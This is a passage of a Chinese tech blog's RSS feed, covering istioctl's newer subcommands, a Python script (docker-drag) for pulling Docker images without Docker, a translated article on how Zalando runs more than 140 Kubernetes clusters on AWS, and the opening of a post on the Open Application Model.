&lt;p&gt;应用之后，会看到 Pod 被重建，重新执行上面的测试步骤，返回信息变成 &lt;code&gt;Hello World&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;实际上单就这个例子来说，对比入门的 Deployment + Service + Ingress 三件套来说，复杂度并没有什么区别。然而 Component 对象的工作负载类型除了 Server 之外，还有 Job、Serverless 等复杂类型，用 Traits 可以描述多种运维能力，更不要说还有暂未浮出水面的 Application Scope 对象，猜测这个模型在公有云、多云以及混合云下，可能会有相当大的想象空间。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>istioctl 中的一些小工具</title>
      <link>/post/istioctl-tips/</link>
      <pubDate>Tue, 03 Dec 2019 19:38:20 +0800</pubDate>
      <guid>/post/istioctl-tips/</guid>
      <description>

&lt;h2 id=&#34;引子&#34;&gt;引子&lt;/h2&gt;

&lt;p&gt;许久不见，&lt;code&gt;istioctl&lt;/code&gt; 中加入了不少有趣的新命令。装备党自然是喜欢小工具了，选几个有趣的命令分享给大家。&lt;/p&gt;

&lt;h2 id=&#34;analyze&#34;&gt;Analyze&lt;/h2&gt;

&lt;p&gt;Istio 的配置是比较繁杂的，相信玩过的朋友都比较有体会，
&lt;a href=&#34;https://istio.io/docs/reference/commands/istioctl/#istioctl-experimental-analyze&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;istioctl x analyze&lt;/code&gt;&lt;/a&gt;，可以对 Istio 进行一些检查，&lt;/p&gt;

&lt;p&gt;目前该工具支持的检测范围包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IST0001：内部错误，基本上是属于实现部分的 Bug。&lt;/li&gt;
&lt;li&gt;IST0002：对象中存在过期特性。&lt;/li&gt;
&lt;li&gt;IST0101：应用对象不存在，例如有 VirtualService 无 Workload。&lt;/li&gt;
&lt;li&gt;IST0102：命名空间未开启自动注入。&lt;/li&gt;
&lt;li&gt;IST0103：有 Pod 没有注入 Istio Proxy。&lt;/li&gt;
&lt;li&gt;IST0104：网关端口没有工作负载。&lt;/li&gt;
&lt;li&gt;IST0105：Sidecar 版本和 Istio 版本不一致。&lt;/li&gt;
&lt;li&gt;IST0106：文件格式错误。&lt;/li&gt;
&lt;li&gt;IST0107：注解目标错误。&lt;/li&gt;
&lt;li&gt;IST0108：未知注解。&lt;/li&gt;
&lt;li&gt;IST0109：网关内 VirtualService 主机名冲突。&lt;/li&gt;
&lt;li&gt;IST0110：Sidecar 对象选择器重叠。&lt;/li&gt;
&lt;li&gt;IST0111：多于一个 Sidecar 对象没有负载选择器。&lt;/li&gt;
&lt;li&gt;IST0112：多端口服务的 VirtualService 缺乏选择。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ istioctl x analyze -k
Warn [IST0103] (Pod httpbin-7d9d5b55b9-jslpp.default) The pod is missing its Istio proxy. Run &#39;kubectl delete pod httpbin-
7d9d5b55b9-jslpp -n default&#39; to restart it
Error: Analyzer found issues.
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;dashboard&#34;&gt;Dashboard&lt;/h2&gt;

&lt;p&gt;可能是向 Linkerd 致敬？&lt;/p&gt;

&lt;p&gt;打开 Istio 的各种仪表盘页面：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;controlz：打开指定控制平面组件的 &lt;code&gt;ctrlz&lt;/code&gt; 界面。&lt;/li&gt;
&lt;li&gt;envoy：打开特定 Pod 的 Envoy 仪表盘&lt;/li&gt;
&lt;li&gt;grafana：缺省 Grafana 页面&lt;/li&gt;
&lt;li&gt;jaeger、kiali、zipkin 和 Prometheus 页面&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;metrics&#34;&gt;Metrics&lt;/h2&gt;

&lt;p&gt;查看指定服务的性能指标：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;总体 RPS&lt;/li&gt;
&lt;li&gt;错误 RPS&lt;/li&gt;
&lt;li&gt;P50 延迟&lt;/li&gt;
&lt;li&gt;P90 延迟&lt;/li&gt;
&lt;li&gt;P99 延迟&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;manifest&#34;&gt;Manifest&lt;/h2&gt;

&lt;p&gt;用于生成或安装 Istio 清单，例如推荐的安装方式：&lt;code&gt;istioctl manifest apply --set profile=demo&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;profile&#34;&gt;Profile&lt;/h2&gt;

&lt;p&gt;几个内置的安装配置，用于 Manifest 命令的 &lt;code&gt;set profile&lt;/code&gt;，其中包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;minimal&lt;/li&gt;
&lt;li&gt;remote&lt;/li&gt;
&lt;li&gt;sds&lt;/li&gt;
&lt;li&gt;default&lt;/li&gt;
&lt;li&gt;demo&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;describe&#34;&gt;Describe&lt;/h2&gt;

&lt;p&gt;根据 Pod 和 Service，获取相关的配置内容，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ istioctl x describe service httpbin
Service: httpbin
   Port: http 8000/HTTP targets pod port 80
Pod is PERMISSIVE, client protocol unspecified
VirtualService: httpbin
   1 HTTP route(s)
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>用 Python 脚本拉取 Docker 镜像</title>
      <link>/post/pull-image-without-docker/</link>
      <pubDate>Sun, 10 Nov 2019 00:19:51 +0800</pubDate>
      <guid>/post/pull-image-without-docker/</guid>
      <description>&lt;p&gt;好久没有介绍小工具了，今天碰到一个，简单粗糙但是有用的一个，这个工具有多简单粗糙呢？证据有二：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;连 Python shebang 都没有；&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;简单到原创 300 字都很难凑够。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;言归正传：安装工经常会遇到一个问题：没 Docker 怎么拉镜像？这个小工具就是做这个事情的。&lt;/p&gt;

&lt;p&gt;该项目同样是个开源项目，地址为：&lt;a href=&#34;https://github.com/NotGlop/docker-drag&#34; target=&#34;_blank&#34;&gt;https://github.com/NotGlop/docker-drag&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个项目使用 Python 的 Request 库，借助 API 直接从仓库中拉取镜像，并保存为 TAR 文件。&lt;/p&gt;

&lt;p&gt;保存下来的 Tar 文件可以直接使用 &lt;code&gt;docker load -i&lt;/code&gt; 命令进行载入。由于去掉了对 Docker/Podman/xxxx 等的依赖，在实际工作中，例如对于文件传输或者 CICD 流程来说，这个脚本都有可能发挥很有意思的作用。&lt;/p&gt;

&lt;p&gt;用法也是相当的简单粗暴：&lt;code&gt;python3 docker_pull.py [image name]&lt;/code&gt;，就完成任务了。&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ python3 docker_pull.py nginx:alpine
Creating image structure in: tmp_nginx_alpine
89d9c30c1d48: Pull complete [2787134]
110ad692b782: Pull complete [5953615]
Docker image pulled: library_nginx.tar

$ ls library_nginx.tar
library_nginx.tar
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;或者放到镜像里：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM alpine:3.10.3
RUN apk add -u ca-certificates python3 \
    &amp;amp;&amp;amp; pip3 install requests \
    &amp;amp;&amp;amp; wget https://raw.githubusercontent.com/NotGlop/docker-drag/master/docker_pull.py
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/show.gif&#34; alt=&#34;show&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Zalando 是如何管理 140 多个 Kubernetes 集群的</title>
      <link>/post/how-zalando-manages-140-kubernetes-clusters/</link>
      <pubDate>Sat, 02 Nov 2019 23:41:56 +0800</pubDate>
      <guid>/post/how-zalando-manages-140-kubernetes-clusters/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://srcco.de/posts/how-zalando-manages-140-kubernetes-clusters.html&#34; target=&#34;_blank&#34;&gt;HOW ZALANDO MANAGES 140+ KUBERNETES CLUSTERS&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://srcco.de/pages/about.html&#34; target=&#34;_blank&#34;&gt;Henning Jacobs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;最近我接到一个问题：“你是如何管理这么多 Kubernetes 的？”。本文试图揭示 Zalando 在 AWS 管理 140 多个 Kubernetes 集群的秘密。&lt;/p&gt;

&lt;p&gt;我写过一篇文章：&lt;a href=&#34;https://srcco.de/posts/many-kubernetes-clusters.html&#34; target=&#34;_blank&#34;&gt;为什么需要多集群&lt;/a&gt;，&lt;a href=&#34;https://twitter.com/mikkeloscar&#34; target=&#34;_blank&#34;&gt;Mikkel&lt;/a&gt; 在 KubeCon EU 2018 上做了关于如何在 Kubernetes 基础设施上进行持续交付的精彩分享。这里基本是对现存信息的一个梳理。&lt;/p&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;p&gt;Zalando 有 200 多个开发团队，他们全权负责自己的应用，其中也包括 7*24 待命的支持工作。我们的 Kubernetes 平台团队为 1000 多个 Zalando 开发者提供 Kubernetes 即服务的支持工作，工作过程中我们遵循如下准则：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;杜绝手工操作：所有集群更新和运维都要全自动。&lt;/li&gt;
&lt;li&gt;没有宠物集群：集群应该整齐划一，无需任何额外的配置和微调。&lt;/li&gt;
&lt;li&gt;韧性：为交付团队提供稳固的基础设施，保障其关键应用的运行环境。&lt;/li&gt;
&lt;li&gt;自动伸缩：集群应该自动适应应用负载的规模，根据需求进行伸缩。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;架构&#34;&gt;架构&lt;/h2&gt;

&lt;p&gt;我们的集群是成对供应的，例如给每个域或者“产品社区”提供一个生产、一个非生产环境。&lt;/p&gt;

&lt;p&gt;每个集群都是属于一个全新的、隔离的 AWS 账号。我们使用一个自定义的 Python 工具（&lt;a href=&#34;https://github.com/zalando-stups/sevenseconds&#34; target=&#34;_blank&#34;&gt;Seven Seconds&lt;/a&gt;）对 AWS 基础设施进行配置，对 Kubernetes 和非 Kubernetes 账号一视同仁（即将下线的 &lt;code&gt;STUPS&lt;/code&gt; 基础设施）。&lt;/p&gt;

&lt;p&gt;我们整个&lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws&#34; target=&#34;_blank&#34;&gt;生产环境的配置都保存在 Github 上&lt;/a&gt;。集群使用 CloudFormation（CF）模板。每个集群至少有四个 CF 栈：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ETCD 集群（存在于主节点之外）：&lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/cluster/etcd-cluster.yaml&#34; target=&#34;_blank&#34;&gt;etcd-cluster.yaml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;主集群：&lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/cluster/cluster.yaml&#34; target=&#34;_blank&#34;&gt;cluster.yaml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;主机群节点池：&lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/cluster/node-pools/master-default/stack.yaml&#34; target=&#34;_blank&#34;&gt;master stack.yaml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;缺省的工作节点池：&lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/cluster/node-pools/worker-default/stack.yaml&#34; target=&#34;_blank&#34;&gt;worker stack.yaml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以有多种工作节点池，例如 GPU 节点、EC2 Spot 实例等。&lt;/p&gt;

&lt;p&gt;注意：我们没有使用 Terraform（从来没有）。&lt;/p&gt;

&lt;p&gt;主节点和工作节点都运行在我们的自定义 AMI 上。这个 AMI 是从 Ubuntu 基础上构建出来的，并且包含了 Kubernetes 所需的所有 Docker 镜像。从前我们用过 ContainerLinux，后来还是决定采用更主流的发行版，以保证持续性。这个预制的 AMI 还帮我们减少了启动时间（集群伸缩更快）。&lt;/p&gt;

&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;

&lt;p&gt;所有的集群以及 AWS 账号，都注册在一个中央集群仓库中。集群仓库使用 PostgreSQL 为数据库，提供了一组 REST API。可以在 &lt;a href=&#34;https://github.com/zalando-incubator/cluster-lifecycle-manager/blob/master/docs/cluster-registry.yaml&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上浏览这个 OpenAPI 的规范。每个集群都有如下属性：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;只读的集群 ID，例如 &amp;ldquo;aws:123123123123:us-east-1:kube-9&amp;rdquo;&lt;/li&gt;
&lt;li&gt;集群别名：例如 “foobarlab”&lt;/li&gt;
&lt;li&gt;所在的 AWS 账号(账号 ID 和 Region)&lt;/li&gt;
&lt;li&gt;环境（生产还是测试）&lt;/li&gt;
&lt;li&gt;配置成熟度（稳定、Beta、Alpha 或者 dev）&lt;/li&gt;
&lt;li&gt;生命周期（已供给、已分配或者已销毁）&lt;/li&gt;
&lt;li&gt;集群特定的键值对信息，例如外部 API Key 等。&lt;/li&gt;
&lt;li&gt;已配置好的节点池（也就是 EC2 实例类型）和针对节点池的键值对配置&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们的工具集（&lt;a href=&#34;https://github.com/hjacobs/kube-resource-report/&#34; target=&#34;_blank&#34;&gt;kube-resource-report&lt;/a&gt; 和 &lt;a href=&#34;https://codeberg.org/hjacobs/kube-web-view&#34; target=&#34;_blank&#34;&gt;kube-web-view&lt;/a&gt;）能够查询集群仓库的 REST API，列出所有集群，比如 &lt;code&gt;zkubectl&lt;/code&gt; 命令行工具能够列出集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ zkubectl list
Id                                           │Alias                           │Environment│Channel│Version
aws:123740508747:eu-central-1:kube-1          foobarlab                        production  stable  5f4316c
aws:456818767898:eu-central-1:kube-1          foobarlab-test                   test        beta    9f1b369
aws:789484029646:eu-central-1:kube-1          abckub                           production  stable  5f4316c
aws:012345670034:eu-central-1:kube-1          abckub-test
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;你会看到两对集群（&lt;code&gt;foobarlab&lt;/code&gt; 和 &lt;code&gt;abckub&lt;/code&gt;），生产集群使用的是 &lt;code&gt;stable&lt;/code&gt;，非生产集群则使用 &lt;code&gt;beta&lt;/code&gt; 配置。&lt;code&gt;Version&lt;/code&gt; 列显示的是当前集群配置的 git sha。&lt;/p&gt;

&lt;p&gt;用 &lt;a href=&#34;https://codeberg.org/hjacobs/kube-web-view&#34; target=&#34;_blank&#34;&gt;Kubernetes Web View&lt;/a&gt; 对类似的集群进行渲染：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kube-web-view-clusters.png&#34; alt=&#34;kube-web-view-clusters.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;还可以参考我的另一篇文章：&lt;a href=&#34;https://srcco.de/posts/kubernetes-web-uis-in-2019.html&#34; target=&#34;_blank&#34;&gt;缺乏多集群支撑案例的 Kubernetes Web UI&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;更新&#34;&gt;更新&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/zalando-incubator/cluster-lifecycle-manager&#34; target=&#34;_blank&#34;&gt;集群生命周期管理器&lt;/a&gt;持续的对集群仓库以及 Git 仓库的变更进行监控。CLM 会在如下时机进行变更：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CloudFormation 更新&lt;/li&gt;
&lt;li&gt;节点必须进行滚动更新（例如 AMI 发生变化）&lt;/li&gt;
&lt;li&gt;Kubernetes 自身发生了变更（多数时候的表现是 &lt;code&gt;kube-system&lt;/code&gt; 中的 DaemonSet 和 Deployment 的变更）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/cluster-lifecycle-manager.png&#34; alt=&#34;Cluster Lifecycle Manager&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过对 &lt;code&gt;dev&lt;/code&gt; 分支发起 PR 的方式来初始化一个更新动作（例如更新一些系统组件）。每个变更的 PR 都会自动的进行端到端测试。 只有通过测试并且由人手工批准的 PR 才能够合并。&lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/test/e2e/README.md&#34; target=&#34;_blank&#34;&gt;端到端测试过程&lt;/a&gt;会针对新建的集群运行官方的 Kubernetes 一致性验证，以及 Zalando 自己的测试案例。这个测试的范围包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;集群的创建和更新（端到端测试会用前一个版本创建一个新的集群，并用 PR 内容进行更新）&lt;/li&gt;
&lt;li&gt;Kubernetes 的核心功能：Deployment、StatefulSet 等&lt;/li&gt;
&lt;li&gt;Zalando 的准入控制器逻辑&lt;/li&gt;
&lt;li&gt;审计日志&lt;/li&gt;
&lt;li&gt;Ingress、&lt;a href=&#34;https://github.com/kubernetes-incubator/external-dns&#34; target=&#34;_blank&#34;&gt;外部 DNS&lt;/a&gt;、AWS ALB 以及 &lt;a href=&#34;https://github.com/zalando/skipper&#34; target=&#34;_blank&#34;&gt;Skipper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;PodSecurityPolicy&lt;/li&gt;
&lt;li&gt;使用自定义指标进行自动伸缩&lt;/li&gt;
&lt;li&gt;测试 AWS IAM 集成&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每个 e2e 测试目前需要 35-59 分钟。测试成功的 &lt;a href=&#34;https://github.com/zalando-incubator/kubernetes-on-aws/pull/2601&#34; target=&#34;_blank&#34;&gt;PR&lt;/a&gt;，只需要一个 &lt;code&gt;+1&lt;/code&gt;，就能进行合并：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubernetes-on-aws-pr-e2e.png&#34; alt=&#34;PR e2e&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每个变更都会在不同的分支中迁移，一直到进入稳定分支。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cluster-updates.png&#34; alt=&#34;cluster update&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在滚动更新集群节点以及集群的自动伸缩过程中，我们的基础设施必须对正在预备下线的服务器上运行的 Pod 进行驱逐。可以使用 Pod Disruption Budgets 的声明，来保障平稳的更新过程。我们为更新或类似行为定义了下面的 SLA：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;SLA&lt;/th&gt;
&lt;th&gt;生产集群&lt;/th&gt;
&lt;th&gt;测试集群&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;更新期间强制终结的 Pod 的最小生存期&lt;/td&gt;
&lt;td&gt;3 天&lt;/td&gt;
&lt;td&gt;8 小时&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;在选定节点之后，需要等待多久才开始强行终结 Pod&lt;/td&gt;
&lt;td&gt;6 小时&lt;/td&gt;
&lt;td&gt;2 小时&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;同一个节点上强行终结 Pod 的时间间隔&lt;/td&gt;
&lt;td&gt;5 分钟&lt;/td&gt;
&lt;td&gt;5 分钟&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;同一个 PDB 中将被终止的就绪 Pod 的最小生存期&lt;/td&gt;
&lt;td&gt;1 小时&lt;/td&gt;
&lt;td&gt;1 小时&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;同一个 PDB 中将被终止的未就绪 Pod 的最小生存期&lt;/td&gt;
&lt;td&gt;6 小时&lt;/td&gt;
&lt;td&gt;6 小时&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;因此应用 Pod 会在 3 天之后被强行终止——即使定义了 PDB 的情况。这种行为模式让我们在部分应用配置失常的情况下也能持续更新。&lt;/p&gt;

&lt;p&gt;注意：我们的用户（开发团队）可以在任何时间阻止集群更新（例如发现了问题）。&lt;/p&gt;

&lt;p&gt;请参见 &lt;a href=&#34;https://www.youtube.com/watch?v=1xHmCrd8Qn8&#34; target=&#34;_blank&#34;&gt;Miokkel 的 KubeCon 演讲&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;避免配置发散&#34;&gt;避免配置发散&lt;/h2&gt;

&lt;p&gt;所有的集群看起来都差不多，只有少量配置项目有些不同：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Secret：例如外部日志服务的凭据&lt;/li&gt;
&lt;li&gt;节点池以及其中的实例规格&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cluster Autoscaler 能根据资源需要对集群的节点池进行伸缩，无需手工配置节点池的大小。下图是我们一个集群在两天之内的伸缩情况：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cluster-autoscaling.png&#34; alt=&#34;cluster autoscaling&#34; /&gt;&lt;/p&gt;

&lt;p&gt;有些组件需要根据集群大小进行纵向伸缩。我们使用  Vertical Pod Autoscaler（VPA）来避免对这些值进行手工调节。目前有如下系统组件在使用 VPA：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prometheus&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes-incubator/external-dns&#34; target=&#34;_blank&#34;&gt;外部 DNS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Heapster/Metrics Server&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/zalando-incubator/kube-ingress-aws-controller&#34; target=&#34;_blank&#34;&gt;我们的 ALB Ingres 控制器&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们最小的 Prometheus 实例仅仅使用 512 MB，也有使用 9GB 的大户，例如下图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/prometheus-memory-vpa.png&#34; alt=&#34;prom memory&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;监控&#34;&gt;监控&lt;/h2&gt;

&lt;p&gt;我们主要的监控系统是 &lt;a href=&#34;https://zmon.io/&#34; target=&#34;_blank&#34;&gt;ZMON&lt;/a&gt;，ZMON 中有个实体的概念，表达的是你要监控的对象——例如服务器、Pod 甚至是团队。&lt;/p&gt;

&lt;p&gt;创建一个新的集群会自动注册新的实体（例如新的 AWS 账号、节点、Deployment、Pod 等）。从而为新的实体启用一些常用检查和告警。&lt;/p&gt;

&lt;p&gt;ZMON 提供了指标、告警以及仪表盘。&lt;/p&gt;

&lt;p&gt;我们的 Kubernetes 团队不会在 Pod 重启时候收到警告。开发团队负责应用的整个生命周期。&lt;/p&gt;

&lt;p&gt;我们还使用 OpenTracing（LightStep）获得跨集群的可观察性，中心化应用日志（Scalyr）、&lt;a href=&#34;https://github.com/hjacobs/kube-resource-report/&#34; target=&#34;_blank&#34;&gt;kube-resource-report&lt;/a&gt; 和 &lt;a href=&#34;https://codeberg.org/hjacobs/kube-web-view&#34; target=&#34;_blank&#34;&gt;kube-web-view&lt;/a&gt;）。&lt;/p&gt;

&lt;h2 id=&#34;魔改-kubernetes&#34;&gt;魔改 Kubernetes&lt;/h2&gt;

&lt;p&gt;我们的配置是否对 Kubernetes 进行了大量魔改呢？答案是：不很多：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes API 认证用了 Zalando Oauth token&lt;/li&gt;
&lt;li&gt;使用 &lt;a href=&#34;https://srcco.de/posts/how-zalando-manages-140-kubernetes-clusters.html#id5&#34; target=&#34;_blank&#34;&gt;Kubelet 参数&lt;/a&gt; 禁用 CPU Throlling&lt;/li&gt;
&lt;li&gt;强制 request == limit，防止内存超售&lt;/li&gt;
&lt;li&gt;使用 &lt;a href=&#34;https://github.com/kubernetes-incubator/external-dns&#34; target=&#34;_blank&#34;&gt;外部 DNS&lt;/a&gt; &lt;a href=&#34;https://github.com/zalando-incubator/kube-ingress-aws-controller&#34; target=&#34;_blank&#34;&gt;ALB Ingress 控制器&lt;/a&gt;，以及 &lt;a href=&#34;https://github.com/zalando/skipper&#34; target=&#34;_blank&#34;&gt;Skipper&lt;/a&gt;，Ingress 注解是可选的，不过 &lt;a href=&#34;https://opensource.zalando.com/skipper/kubernetes/ingress-usage/&#34; target=&#34;_blank&#34;&gt;Skipper 有些有用的功能&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PlatformCredentialsSet&lt;/code&gt; 是一个用来集成 OAuth 的 CRD&lt;/li&gt;
&lt;li&gt;我们用 &lt;a href=&#34;https://github.com/zalando-incubator/stackset-controller&#34; target=&#34;_blank&#34;&gt;StackSet&lt;/a&gt;来实现流量切换和渐进部署&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/hjacobs/kube-downscaler&#34; target=&#34;_blank&#34;&gt;kube-downscaler&lt;/a&gt; 用于在作业后降级测试部署&lt;/li&gt;
&lt;li&gt;我们的 DNS 配置有些不同：我们使用 &lt;code&gt;ndots: 2&lt;/code&gt; 的配置（&lt;a href=&#34;https://srcco.de/posts/how-zalando-manages-140-kubernetes-clusters.html#id6&#34; target=&#34;_blank&#34;&gt;官方配置是 &lt;code&gt;ndots: 5&lt;/code&gt;&lt;/a&gt;）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;非生产集群提供的是类似 GKE 或者 Digital Ocean 集群类似的普通集群的功能。生产集群有些容器：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;只能通过 CICD 进行 Kubernetes API 的操作&lt;/li&gt;
&lt;li&gt;用 Webhook 执行强制的合规措施，例如使用某些标签，或者允许用于生产的镜像&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;我们的这种做法再过去几年中工作良好，让我们在无需扩张团队的情况下得到了成长：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;我们能够无缝的把我们一个老的 Kubernetes 1.4 在无停服的情况下，升级到 1.14&lt;/li&gt;
&lt;li&gt;我们能够跟进 Kubernetes 的季度发布，也就是说我们在每个季度都可以进行升级&lt;/li&gt;
&lt;li&gt;频繁的集群更新让大家开始接受一个观点：小的中断是正常的（目前的 Pod 最长寿 20 多天）&lt;/li&gt;
&lt;li&gt;我们尝试避免出现宠物集群：集群看起来差不多，VPA 协助我们避免人工调节&lt;/li&gt;
&lt;li&gt;我们的自动端到端测试救了我们不止一次（例如 &lt;a href=&#34;https://twitter.com/try_except_/status/1181602709155323905&#34; target=&#34;_blank&#34;&gt;最近 1.14.7 的 Issue&lt;/a&gt;(&lt;a href=&#34;https://twitter.com/try_except_/status/1181602709155323905)）&#34; target=&#34;_blank&#34;&gt;https://twitter.com/try_except_/status/1181602709155323905)）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要进一步了解这方面的信息，可以看看 &lt;a href=&#34;https://github.com/zalando/public-presentations&#34; target=&#34;_blank&#34;&gt;Zalando 的公开仓库&lt;/a&gt;，还可以在 Twitter 上找到我们的一些团队成员：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/jannis_r&#34; target=&#34;_blank&#34;&gt;Jannis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/arjun_rn&#34; target=&#34;_blank&#34;&gt;Arjun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/backenhoernchen&#34; target=&#34;_blank&#34;&gt;Martin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/mikkeloscar&#34; target=&#34;_blank&#34;&gt;Mikkel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/njuettner&#34; target=&#34;_blank&#34;&gt;Nick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/sszuecs&#34; target=&#34;_blank&#34;&gt;Sandor&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;也欢迎和 &lt;a href=&#34;https://twitter.com/ZalandoTech&#34; target=&#34;_blank&#34;&gt;ZalandoTech&lt;/a&gt;、和&lt;a href=&#34;https://twitter.com/try_except_&#34; target=&#34;_blank&#34;&gt;我&lt;/a&gt;打个招呼。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>YAML 程序员眼中的 OAM</title>
      <link>/post/oam-and-lockin/</link>
      <pubDate>Mon, 21 Oct 2019 14:30:23 +0800</pubDate>
      <guid>/post/oam-and-lockin/</guid>
      <description>

&lt;p&gt;在 10.17 ，阿里云和微软联袂发布了一个有意思的新东西：OAM（开放应用模型）。这个项目要解决的问题是：用一致的、定义良好的模型来对应用进行描述。&lt;/p&gt;

&lt;p&gt;Kubernetes 达成了一个小目标：不管是什么云，上面都有 Kubernetes 的一席之地。OAM 的小目标是什么呢？&lt;/p&gt;

&lt;p&gt;OAM 用（Holy）YAML 对应用程序进行了描述，其中核心组件包含了几个：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Component：组件交付物&lt;/li&gt;
